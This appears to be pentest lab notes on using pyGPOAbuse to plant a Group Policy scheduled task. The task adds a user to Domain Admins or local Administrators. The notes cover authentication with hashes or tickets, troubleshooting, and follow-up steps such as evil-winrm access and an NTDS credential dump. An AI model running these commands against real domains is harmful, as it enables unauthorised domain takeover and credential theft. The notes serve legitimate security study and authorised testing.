Tools
pyGPOAbuse
Partial Python port of SharpGPOAbuse. Writes a Group Policy Preferences immediate scheduled task into an existing GPO (SYSVOL XML + LDAP version/extension attributes).
- Computer task (default): runs as
NT AUTHORITY\SYSTEMon computers in the GPO scope -user: runs as the logged-on user-user-as-admin: user GPO path, but the task still runs as SYSTEM
Not a discovery tool. The account must already be able to edit the GPO object and its SYSVOL directory. See ACL Abuse for the write path and Active Directory Enumeration for the surrounding workflow.
Install
git clone https://github.com/Hackndo/pyGPOAbuse.git
cd pyGPOAbuse
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install .
pygpoabuse --help
python3 pygpoabuse.py from the repo root works the same way.
Preconditions
- Domain credential (password, NT hash, or Kerberos ccache)
- Write access to the GPO in LDAP and its
SYSVOLfolder - GPO linked so it applies to the intended computer or user
- GPO GUID (no braces), or resolve by display name with
-gpo-name - DC reachable over SMB + LDAP (
-dc-ipwhen DNS fails;-ldapsfor 636)
BloodHound write edges are leads only. Use the GUID inside CN={...} / gPCFileSysPath, not a different BloodHound object id.
CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=SECURA,DC=YZX
\\SECURA.YZX\SYSVOL\SECURA.YZX\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
31B2F340-016D-11D2-945F-00C04FB984F9 is the well-known Default Domain Policy GUID. It applies domain-wide, including DCs, unless the link/filtering was changed.
Authentication
pygpoabuse 'DOMAIN/user' -gpo-id '<GPO_GUID>' -dc-ip '<DC_IP>'
pygpoabuse 'DOMAIN/user:password' -gpo-id '<GPO_GUID>' -dc-ip '<DC_IP>'
pygpoabuse 'DOMAIN/user' -hashes 'LMHASH:NTHASH' -gpo-id '<GPO_GUID>' -dc-ip '<DC_IP>'
pygpoabuse 'DOMAIN/user' -k -ccache ./user.ccache -gpo-id '<GPO_GUID>' -dc-ip '<DC_IP>'
pygpoabuse 'DOMAIN/user' -gpo-name 'Vulnerable Policy' -dc-ip '<DC_IP>'
Omit the password to get a prompt (keeps it out of shell history).
Payload rules
[+] ScheduledTask ... created! only means the GPO write succeeded, not that the task will run. Three rules keep the payload runnable:
-
Use
-powershell. Without it the tool wraps the command ascmd.exe /c "<command>", so any inner"(like"Domain Admins") closes the string early andnet groupsees the wrong tokens.-powershellbase64-encodes the args (-enc), so quotes and spaces are safe. -
Never use
-fto fix a bad task. IfScheduledTasks.xmlexists,-fappends and runs.replace("\\", "\\\\")on the new task XML, doubling every backslash (secura\charlottebecomessecura\\charlotte). To recover, run--cleanup, then create fresh without-f. -
Use the sAMAccountName (
charlotte), notDOMAIN\user.net group ... /addaccepts the bare name; a stray\can break the line and-fwould double it. With-powershelleither form works, but the bare name is simplest.
The run below breaks all three at once (it is the failure this note was built from):
pygpoabuse 'secura.yzx/charlotte' -gpo-id '31B2F340-016D-11D2-945F-00C04FB984F9' \
-dc-ip '<DC_IP>' -taskname 'OSCP-DomainAdmin' \
-command 'net group "Domain Admins" secura\charlotte /add /domain' \
-filter-enabled -target-dns-name 'dc01.secura.yzx' -f
Without -command, the demo payload creates local user john / H4x00r123.. and adds it to local Administrators. Always set -command.
Clean Domain Admin run
When the only tasks in the GPO are from this abuse path:
# 1. drop the broken XML from earlier attempts
pygpoabuse 'secura.yzx/charlotte' \
-gpo-id '31B2F340-016D-11D2-945F-00C04FB984F9' \
-dc-ip '<DC_IP>' --cleanup
# 2. create a NEW task (no -f; the file was just removed)
pygpoabuse 'secura.yzx/charlotte' \
-gpo-id '31B2F340-016D-11D2-945F-00C04FB984F9' \
-dc-ip '<DC_IP>' \
-taskname 'OSCP-DA2' \
-powershell \
-command 'net group "Domain Admins" charlotte /add /domain' \
-filter-enabled -target-dns-name 'dc01.secura.yzx'
--cleanup deletes the whole ScheduledTasks.xml for that GPO side. Only safe when this abuse created the file (or a copy of the original was saved first).
Existing XML
| Situation | Action |
|---|---|
No ScheduledTasks.xml | Create once, no -f |
| XML exists, only your failed tasks | --cleanup, then create again without -f |
| XML has legitimate tasks | Save a copy first; -f appends but corrupts \ in the new task, so prefer manual XML edit or a different GPO |
A listing like C: Create with the same name means that task already exists in the file; -f still appends another block and still doubles backslashes.
Verify before refresh
Check SYSVOL before forcing policy:
smbclient //<DC_IP>/SYSVOL -U 'secura.yzx/charlotte' \
-c 'cd secura.yzx/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Machine/Preferences/ScheduledTasks; more ScheduledTasks.xml'
Expect:
<Command>powershell.exe</Command><Arguments>-windowstyle hidden -nop -enc ....</Arguments><FilterComputer ... type="DNS" name="dc01.secura.yzx"/>
If <Arguments> looks like /c "net group "Domain Admins" ... or shows secura\\charlotte, do not run gpupdate yet; recreate the task.
DC side
gpupdate /force
net group "Domain Admins" /domain
net user charlotte /domain
net user / net group read AD. If the add worked, DA shows up here even in the old WinRM session. whoami /groups only updates after a new logon.
evil-winrm -i <DC_IP> -u charlotte -p '...'
# or
nxc smb <DC_IP> -d secura.yzx -u charlotte -p '...' --ntds
With a DA credential captured, escalate to SYSTEM on the DC with impacket-psexec (Impacket).
Member host (local admin)
pygpoabuse 'DOMAIN/user' \
-gpo-id '<GPO_GUID>' -dc-ip '<DC_IP>' \
-taskname 'OSCP-LocalAdmin' \
-powershell \
-command 'net localgroup administrators DOMAIN\user /add' \
-filter-enabled -target-dns-name 'host.domain.local'
Only when ScheduledTasks.xml does not already exist (or after a cleanup). After policy applies:
nxc smb host.domain.local -d DOMAIN -u user -p 'password'
nxc winrm host.domain.local -d DOMAIN -u user -p 'password'
Local admin on a member is not Domain Admin. Continue with AD Lateral Movement / NetExec.
Target filter
-filter-enabled limits the immediate task to one computer or user. Without it, every object in the GPO scope runs the task.
-filter-enabled -target-dns-name 'dc01.domain.local'
-user -filter-enabled -target-username 'DOMAIN\user'
-target-dns-name is a computer FQDN, not the domain FQDN.
"$env:COMPUTERNAME.$env:USERDNSDOMAIN"
# DC01.secura.yzx -> dc01.secura.yzx
Host-side checks
gpupdate /force
$xml = "$env:windir\System32\GroupPolicy\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml"
Test-Path $xml
if (Test-Path $xml) { Get-Content $xml }
Get-WinEvent -LogName 'Microsoft-Windows-TaskScheduler/Operational' -MaxEvents 200 |
Where-Object Message -match 'OSCP-DA' |
Select-Object TimeCreated, Id, Message
gpresult /r often returns Access is denied in restricted WinRM. Prefer XML, Task Scheduler, and net group.
Failure checklist
| Symptom | Likely cause |
|---|---|
| Created + gpupdate OK, still only Domain Users | Nested " broke cmd /c (no -powershell), or -f doubled \ |
Created with -f, still nothing | Append corrupted the new task; --cleanup and recreate without -f |
| Nothing in host XML / no task events | Wrong -target-dns-name, GPO not applied to that host, or refresh before the write |
GPO id ... does not exist | Wrong GUID |
| Local admin works, DA does not | Task ran on a member, or used net localgroup instead of net group ... /domain on a DC |
Limitations
- Partial SharpGPOAbuse port; no feature parity assumed
- Edits an existing GPO only; does not find or create one
- Blast radius follows the GPO link (Default Domain Policy = every computer unless filtered)
- Visible in GP management and often in audit logs